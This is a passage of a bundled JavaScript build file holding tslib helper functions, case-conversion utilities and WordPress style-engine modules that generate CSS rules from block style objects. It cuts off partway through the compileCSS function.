function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/lower-case/dist.es2015/index.js
/**
 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
 */
var SUPPORTED_LOCALE = {
    tr: {
        regexp: /\u0130|\u0049|\u0049\u0307/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    az: {
        regexp: /\u0130/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    lt: {
        regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
        map: {
            I: "\u0069\u0307",
            J: "\u006A\u0307",
            Į: "\u012F\u0307",
            Ì: "\u0069\u0307\u0300",
            Í: "\u0069\u0307\u0301",
            Ĩ: "\u0069\u0307\u0303",
        },
    },
};
/**
 * Localized lower case.
 */
function localeLowerCase(str, locale) {
    var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
    if (lang)
        return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
    return lowerCase(str);
}
/**
 * Lower case as a function.
 */
function lowerCase(str) {
    return str.toLowerCase();
}

;// ./node_modules/no-case/dist.es2015/index.js

// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
 * Normalize the string into something other libraries can manipulate easier.
 */
function noCase(input, options) {
    if (options === void 0) { options = {}; }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    // Trim the delimiter from around the output string.
    while (result.charAt(start) === "\0")
        start++;
    while (result.charAt(end - 1) === "\0")
        end--;
    // Transform each token independently.
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
 * Replace `re` in the input string with the replacement value.
 */
function replace(input, re, value) {
    if (re instanceof RegExp)
        return input.replace(re, value);
    return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}

;// ./node_modules/dot-case/dist.es2015/index.js


function dotCase(input, options) {
    if (options === void 0) { options = {}; }
    return noCase(input, __assign({ delimiter: "." }, options));
}

;// ./node_modules/param-case/dist.es2015/index.js


function paramCase(input, options) {
    if (options === void 0) { options = {}; }
    return dotCase(input, __assign({ delimiter: "-" }, options));
}

;// ./node_modules/@wordpress/style-engine/build-module/styles/constants.js
const VARIABLE_REFERENCE_PREFIX = 'var:';
const VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE = '|';
const VARIABLE_PATH_SEPARATOR_TOKEN_STYLE = '--';

;// ./node_modules/@wordpress/style-engine/build-module/styles/utils.js
/**
 * External dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Helper util to return a value from a certain path of the object.
 * Path is specified as an array of properties, like `[ 'x', 'y' ]`.
 *
 * @param object Input object.
 * @param path   Path to the object property.
 * @return Value of the object property at the specified path.
 */
const getStyleValueByPath = (object, path) => {
  let value = object;
  path.forEach(fieldName => {
    value = value?.[fieldName];
  });
  return value;
};

/**
 * Returns a JSON representation of the generated CSS rules.
 *
 * @param style   Style object.
 * @param options Options object with settings to adjust how the styles are generated.
 * @param path    An array of strings representing the path to the style value in the style object.
 * @param ruleKey A CSS property key.
 *
 * @return GeneratedCSSRule[] CSS rules.
 */
function generateRule(style, options, path, ruleKey) {
  const styleValue = getStyleValueByPath(style, path);
  return styleValue ? [{
    selector: options?.selector,
    key: ruleKey,
    value: getCSSValueFromRawStyle(styleValue)
  }] : [];
}

/**
 * Returns a JSON representation of the generated CSS rules taking into account box model properties, top, right, bottom, left.
 *
 * @param style                Style object.
 * @param options              Options object with settings to adjust how the styles are generated.
 * @param path                 An array of strings representing the path to the style value in the style object.
 * @param ruleKeys             An array of CSS property keys and patterns.
 * @param individualProperties The "sides" or individual properties for which to generate rules.
 *
 * @return GeneratedCSSRule[]  CSS rules.
 */
function generateBoxRules(style, options, path, ruleKeys, individualProperties = ['top', 'right', 'bottom', 'left']) {
  const boxStyle = getStyleValueByPath(style, path);
  if (!boxStyle) {
    return [];
  }
  const rules = [];
  if (typeof boxStyle === 'string') {
    rules.push({
      selector: options?.selector,
      key: ruleKeys.default,
      value: boxStyle
    });
  } else {
    const sideRules = individualProperties.reduce((acc, side) => {
      const value = getCSSValueFromRawStyle(getStyleValueByPath(boxStyle, [side]));
      if (value) {
        acc.push({
          selector: options?.selector,
          key: ruleKeys?.individual.replace('%s', upperFirst(side)),
          value
        });
      }
      return acc;
    }, []);
    rules.push(...sideRules);
  }
  return rules;
}

/**
 * Returns a WordPress CSS custom var value from incoming style preset value,
 * if one is detected.
 *
 * The preset value is a string and follows the pattern `var:description|context|slug`.
 *
 * Example:
 *
 * `getCSSValueFromRawStyle( 'var:preset|color|heavenlyBlue' )` // returns 'var(--wp--preset--color--heavenly-blue)'
 *
 * @param styleValue A string representing a raw CSS value. Non-strings won't be processed.
 *
 * @return A CSS custom var value if the incoming style value is a preset value.
 */

function getCSSValueFromRawStyle(styleValue) {
  if (typeof styleValue === 'string' && styleValue.startsWith(VARIABLE_REFERENCE_PREFIX)) {
    const variable = styleValue.slice(VARIABLE_REFERENCE_PREFIX.length).split(VARIABLE_PATH_SEPARATOR_TOKEN_ATTRIBUTE).map(presetVariable => paramCase(presetVariable, {
      splitRegexp: [/([a-z0-9])([A-Z])/g,
      // fooBar => foo-bar, 3Bar => 3-bar
      /([0-9])([a-z])/g,
      // 3bar => 3-bar
      /([A-Za-z])([0-9])/g,
      // Foo3 => foo-3, foo3 => foo-3
      /([A-Z])([A-Z][a-z])/g // FOOBar => foo-bar
      ]
    })).join(VARIABLE_PATH_SEPARATOR_TOKEN_STYLE);
    return `var(--wp--${variable})`;
  }
  return styleValue;
}

/**
 * Capitalizes the first letter in a string.
 *
 * @param string The string whose first letter the function will capitalize.
 *
 * @return String with the first letter capitalized.
 */
function upperFirst(string) {
  const [firstLetter, ...rest] = string;
  return firstLetter.toUpperCase() + rest.join('');
}

/**
 * Converts an array of strings into a camelCase string.
 *
 * @param strings The strings to join into a camelCase string.
 *
 * @return camelCase string.
 */
function camelCaseJoin(strings) {
  const [firstItem, ...rest] = strings;
  return firstItem.toLowerCase() + rest.map(upperFirst).join('');
}

/**
 * Safely decodes a URI with `decodeURI`. Returns the URI unmodified if
 * `decodeURI` throws an error.
 *
 * @param {string} uri URI to decode.
 *
 * @example
 * ```js
 * const badUri = safeDecodeURI( '%z' ); // does not throw an Error, simply returns '%z'
 * ```
 *
 * @return {string} Decoded URI if possible.
 */
function safeDecodeURI(uri) {
  try {
    return decodeURI(uri);
  } catch (uriError) {
    return uri;
  }
}

;// ./node_modules/@wordpress/style-engine/build-module/styles/border/index.js
/**
 * Internal dependencies
 */



/**
 * Creates a function for generating CSS rules when the style path is the same as the camelCase CSS property used in React.
 *
 * @param path An array of strings representing the path to the style value in the style object.
 *
 * @return A function that generates CSS rules.
 */
function createBorderGenerateFunction(path) {
  return (style, options) => generateRule(style, options, path, camelCaseJoin(path));
}

/**
 * Creates a function for generating border-{top,bottom,left,right}-{color,style,width} CSS rules.
 *
 * @param edge The edge to create CSS rules for.
 *
 * @return A function that generates CSS rules.
 */
function createBorderEdgeGenerateFunction(edge) {
  return (style, options) => {
    return ['color', 'style', 'width'].flatMap(key => {
      const path = ['border', edge, key];
      return createBorderGenerateFunction(path)(style, options);
    });
  };
}
const color = {
  name: 'color',
  generate: createBorderGenerateFunction(['border', 'color'])
};
const radius = {
  name: 'radius',
  generate: (style, options) => {
    return generateBoxRules(style, options, ['border', 'radius'], {
      default: 'borderRadius',
      individual: 'border%sRadius'
    }, ['topLeft', 'topRight', 'bottomLeft', 'bottomRight']);
  }
};
const borderStyle = {
  name: 'style',
  generate: createBorderGenerateFunction(['border', 'style'])
};
const width = {
  name: 'width',
  generate: createBorderGenerateFunction(['border', 'width'])
};
const borderTop = {
  name: 'borderTop',
  generate: createBorderEdgeGenerateFunction('top')
};
const borderRight = {
  name: 'borderRight',
  generate: createBorderEdgeGenerateFunction('right')
};
const borderBottom = {
  name: 'borderBottom',
  generate: createBorderEdgeGenerateFunction('bottom')
};
const borderLeft = {
  name: 'borderLeft',
  generate: createBorderEdgeGenerateFunction('left')
};
/* harmony default export */ const border = ([color, borderStyle, width, radius, borderTop, borderRight, borderBottom, borderLeft]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/color/background.js
/**
 * Internal dependencies
 */


const background = {
  name: 'background',
  generate: (style, options) => {
    return generateRule(style, options, ['color', 'background'], 'backgroundColor');
  }
};
/* harmony default export */ const color_background = (background);

;// ./node_modules/@wordpress/style-engine/build-module/styles/color/gradient.js
/**
 * Internal dependencies
 */


const gradient = {
  name: 'gradient',
  generate: (style, options) => {
    return generateRule(style, options, ['color', 'gradient'], 'background');
  }
};
/* harmony default export */ const color_gradient = (gradient);

;// ./node_modules/@wordpress/style-engine/build-module/styles/color/text.js
/**
 * Internal dependencies
 */


const text_text = {
  name: 'text',
  generate: (style, options) => {
    return generateRule(style, options, ['color', 'text'], 'color');
  }
};
/* harmony default export */ const color_text = (text_text);

;// ./node_modules/@wordpress/style-engine/build-module/styles/color/index.js
/**
 * Internal dependencies
 */



/* harmony default export */ const styles_color = ([color_text, color_gradient, color_background]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/dimensions/index.js
/**
 * Internal dependencies
 */


const minHeight = {
  name: 'minHeight',
  generate: (style, options) => {
    return generateRule(style, options, ['dimensions', 'minHeight'], 'minHeight');
  }
};
const aspectRatio = {
  name: 'aspectRatio',
  generate: (style, options) => {
    return generateRule(style, options, ['dimensions', 'aspectRatio'], 'aspectRatio');
  }
};
/* harmony default export */ const dimensions = ([minHeight, aspectRatio]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/background/index.js
/**
 * Internal dependencies
 */


const backgroundImage = {
  name: 'backgroundImage',
  generate: (style, options) => {
    const _backgroundImage = style?.background?.backgroundImage;

    /*
     * The background image can be a string or an object.
     * If the background image is a string, it could already contain a url() function,
     * or have a linear-gradient value.
     */
    if (typeof _backgroundImage === 'object' && _backgroundImage?.url) {
      return [{
        selector: options.selector,
        key: 'backgroundImage',
        // Passed `url` may already be encoded. To prevent double encoding, decodeURI is executed to revert to the original string.
        value: `url( '${encodeURI(safeDecodeURI(_backgroundImage.url))}' )`
      }];
    }
    return generateRule(style, options, ['background', 'backgroundImage'], 'backgroundImage');
  }
};
const backgroundPosition = {
  name: 'backgroundPosition',
  generate: (style, options) => {
    return generateRule(style, options, ['background', 'backgroundPosition'], 'backgroundPosition');
  }
};
const backgroundRepeat = {
  name: 'backgroundRepeat',
  generate: (style, options) => {
    return generateRule(style, options, ['background', 'backgroundRepeat'], 'backgroundRepeat');
  }
};
const backgroundSize = {
  name: 'backgroundSize',
  generate: (style, options) => {
    return generateRule(style, options, ['background', 'backgroundSize'], 'backgroundSize');
  }
};
const backgroundAttachment = {
  name: 'backgroundAttachment',
  generate: (style, options) => {
    return generateRule(style, options, ['background', 'backgroundAttachment'], 'backgroundAttachment');
  }
};
/* harmony default export */ const styles_background = ([backgroundImage, backgroundPosition, backgroundRepeat, backgroundSize, backgroundAttachment]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/shadow/index.js
/**
 * Internal dependencies
 */


const shadow = {
  name: 'shadow',
  generate: (style, options) => {
    return generateRule(style, options, ['shadow'], 'boxShadow');
  }
};
/* harmony default export */ const styles_shadow = ([shadow]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/outline/index.js
/**
 * Internal dependencies
 */


const outline_color = {
  name: 'color',
  generate: (style, options, path = ['outline', 'color'], ruleKey = 'outlineColor') => {
    return generateRule(style, options, path, ruleKey);
  }
};
const offset = {
  name: 'offset',
  generate: (style, options, path = ['outline', 'offset'], ruleKey = 'outlineOffset') => {
    return generateRule(style, options, path, ruleKey);
  }
};
const outlineStyle = {
  name: 'style',
  generate: (style, options, path = ['outline', 'style'], ruleKey = 'outlineStyle') => {
    return generateRule(style, options, path, ruleKey);
  }
};
const outline_width = {
  name: 'width',
  generate: (style, options, path = ['outline', 'width'], ruleKey = 'outlineWidth') => {
    return generateRule(style, options, path, ruleKey);
  }
};
/* harmony default export */ const outline = ([outline_color, outlineStyle, offset, outline_width]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/spacing/padding.js
/**
 * Internal dependencies
 */


const padding = {
  name: 'padding',
  generate: (style, options) => {
    return generateBoxRules(style, options, ['spacing', 'padding'], {
      default: 'padding',
      individual: 'padding%s'
    });
  }
};
/* harmony default export */ const spacing_padding = (padding);

;// ./node_modules/@wordpress/style-engine/build-module/styles/spacing/margin.js
/**
 * Internal dependencies
 */


const margin = {
  name: 'margin',
  generate: (style, options) => {
    return generateBoxRules(style, options, ['spacing', 'margin'], {
      default: 'margin',
      individual: 'margin%s'
    });
  }
};
/* harmony default export */ const spacing_margin = (margin);

;// ./node_modules/@wordpress/style-engine/build-module/styles/spacing/index.js
/**
 * Internal dependencies
 */


/* harmony default export */ const spacing = ([spacing_margin, spacing_padding]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/typography/index.js
/**
 * Internal dependencies
 */


const fontSize = {
  name: 'fontSize',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'fontSize'], 'fontSize');
  }
};
const fontStyle = {
  name: 'fontStyle',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'fontStyle'], 'fontStyle');
  }
};
const fontWeight = {
  name: 'fontWeight',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'fontWeight'], 'fontWeight');
  }
};
const fontFamily = {
  name: 'fontFamily',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'fontFamily'], 'fontFamily');
  }
};
const letterSpacing = {
  name: 'letterSpacing',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'letterSpacing'], 'letterSpacing');
  }
};
const lineHeight = {
  name: 'lineHeight',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'lineHeight'], 'lineHeight');
  }
};
const textColumns = {
  name: 'textColumns',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'textColumns'], 'columnCount');
  }
};
const textDecoration = {
  name: 'textDecoration',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'textDecoration'], 'textDecoration');
  }
};
const textTransform = {
  name: 'textTransform',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'textTransform'], 'textTransform');
  }
};
const writingMode = {
  name: 'writingMode',
  generate: (style, options) => {
    return generateRule(style, options, ['typography', 'writingMode'], 'writingMode');
  }
};
/* harmony default export */ const typography = ([fontFamily, fontSize, fontStyle, fontWeight, letterSpacing, lineHeight, textColumns, textDecoration, textTransform, writingMode]);

;// ./node_modules/@wordpress/style-engine/build-module/styles/index.js
/**
 * Internal dependencies
 */








const styleDefinitions = [...border, ...styles_color, ...dimensions, ...outline, ...spacing, ...typography, ...styles_shadow, ...styles_background];

;// ./node_modules/@wordpress/style-engine/build-module/index.js
/**
 * External dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Generates a stylesheet for a given style object and selector.
 *
 * @since 6.1.0 Introduced in WordPress core.
 *
 * @param style   Style object, for example, the value of a block's attributes.style object or the top level styles in theme.json
 * @param options Options object with settings to adjust how the styles are generated.
 *
 * @return A generated stylesheet or inline style declarations.
 */
function compileCSS(style, options = {}) {
  const rules = getCSSRules(style, options);

  // If no selector is provided, treat generated rules as inline styles to be returned as a single string.
